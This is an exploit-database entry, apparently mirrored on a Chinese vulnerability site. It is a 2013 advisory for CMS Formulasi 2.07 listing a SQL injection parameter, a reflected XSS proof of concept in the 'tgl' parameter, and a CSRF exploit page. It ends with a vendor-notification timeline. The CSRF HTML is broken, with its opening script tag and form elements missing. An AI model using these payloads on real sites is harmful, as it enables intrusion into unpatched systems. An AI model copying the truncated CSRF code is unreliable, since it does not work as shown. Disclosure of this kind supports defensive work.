发布 2013-10-04 漏洞条目

CMS Formulasi 2.07 – Multiple Vulnerabilities

Exploit Source

###################################################################################################################

______ __ ______

/ \ / | / \

/000000 | ______ ______ ______ 00 |____ _____ ____ ______ /000000 | ______ _______

00 \__00/ / \ / \ / \ 00 \ / \/ \ / \ 00 \__00/ / \ / |

00 \ 000000 |/000000 |000000 |0000000 |000000 0000 | 000000 | 00 \ /000000 |/0000000/

000000 | / 00 |00 | 00/ / 00 |00 | 00 |00 | 00 | 00 | / 00 | 000000 |00 00 |00 |

/ \__00 |/0000000 |00 | /0000000 |00 | 00 |00 | 00 | 00 |/0000000 | / \__00 |00000000/ 00 \_____

00 00/ 00 00 |00 | 00 00 |00 | 00 |00 | 00 | 00 |00 00 | 00 00/ 00 |00 |

000000/ 0000000/ 00/ 0000000/ 00/ 00/ 00/ 00/ 00/ 0000000/ 000000/ 0000000/ 0000000/

###################################################################################################################

# Exploit Title: CMS Formulasi 2.07 Multiple Vulnerability

# Date: 30 Sep 2013

# Vendor Homepage: http://formulasi.or.id/

# Software Link: http://cms.formulasi.or.id/p/download-cms-formulasi-terbaru.htm

# Version: 2.07

# Tested on: Win 7/Backtrack

# CVE :

# Exploit Author: Sarahma Security

# Author Homepage: http://sarahma.co.id

# Author Email: research@sarahma.co.id

========================

SQL Injection

========================

Found on

http://localhost/formulasi/kelas-siswa.html

parameter : kelas

post data : kelas=1{SQL_HERE}

========================

XSS Vulnerability

========================

Found On

parameter : tgl

http://localhost/cmsformulasi/index.php?p=tglberita&tgl=<script>alert(123)</script>

========================

CSRF Vulnerability

========================

---------------------BOF--------------------------------------------------

<html>

<head>

<title>Formulasi CRSFT Exploit</title>

</head>

var pauses = new Array( "489","36","27" );

function pausecomp(millis)

{

var date = new Date();

var curDate = null;

do { curDate = new Date(); }

while(curDate-date < millis);

}

function fireForms()

{

var count = 3;

var i=0;

for(i=0; i<count; i++)

{

document.forms[i].submit();

pausecomp(pauses[i]);

}

</script>

<H2>Formulasi CRSFT Exploit</H2>

</form>

</body>

</html>

---------------------EOF--------------------------------------------------

========================

Solution :

========================

No Update Until This Advisory published

========================

Timeline:

========================

2013-09-27 Provided details vulnerability to vendor

2013-10-01 Second NotificaTon Vendor

2013-10-04 No Response From Vendor

2013-10-05 Advisory published

作者: Sarahma Security
日期: 2013-10-04
类别: webapps
平台: php

相关漏洞条目

Prodigy Commerce 3.3.0 – Local File Inclusion

Langflow 1.3.0 – Remote Code Execution

Quick Playground for WordPress 1.3.1 – Unauthenticated Remote Code Execution

MikroORM 7.0.13 – SQL Injection